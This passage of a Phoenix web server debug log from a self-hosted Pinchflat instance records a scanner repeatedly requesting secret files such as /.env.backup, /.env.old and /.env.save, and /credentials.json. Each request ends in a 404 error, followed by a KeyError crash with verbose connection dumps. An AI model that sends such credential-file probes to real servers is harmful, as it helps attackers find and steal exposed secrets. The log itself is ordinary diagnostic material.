"GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53692}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21521.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfoEtq2iYAlsACMaB"} ], scheme: :http, script_name: [], (truncated) 15:40:22.073 [info] GET /.env.backup 15:40:22.074 [debug] QUERY OK source="settings" db=0.1ms idle=612.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.074 [debug] QUERY OK source="settings" db=0.1ms idle=612.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.074 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:22.074 [error] #PID<0.21523.0> running PinchflatWeb.Endpoint (connection #PID<0.21522.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53702}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21523.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfpBSRdwkxcEACMah"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53702}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53702}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21523.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfpBSRdwkxcEACMah"} ], scheme: :http, script_name: [], secret (truncated) 15:40:22.187 [info] GET /.env.old 15:40:22.187 [debug] QUERY OK source="settings" db=0.1ms idle=367.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.187 [debug] QUERY OK source="settings" db=0.0ms idle=367.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.187 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:22.188 [error] #PID<0.21525.0> running PinchflatWeb.Endpoint (connection #PID<0.21524.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53718}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21525.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfpcUsiieOyQABcDi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53718}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53718}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21525.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfpcUsiieOyQABcDi"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:22.309 [info] GET /.env.save 15:40:22.309 [debug] QUERY OK source="settings" db=0.1ms idle=261.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.309 [debug] QUERY OK source="settings" db=0.0ms idle=235.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.309 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:22.309 [error] #PID<0.21527.0> running PinchflatWeb.Endpoint (connection #PID<0.21526.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21527.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfp5VpeHwhekABcEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21527.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfp5VpeHwhekABcEC"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:22.424 [info] GET /credentials.json 15:40:22.425 [debug] QUERY OK source="settings" db=0.1ms idle=350.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.425 [debug] QUERY OK source="settings" db=0.0ms idle=237.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.425 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:22.425 [error] #PID<0.21529.0> running PinchflatWeb.Endpoint (connection #PID<0.21528.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53740}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21529.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfqU59OE2ux4ABcEi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53740}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ 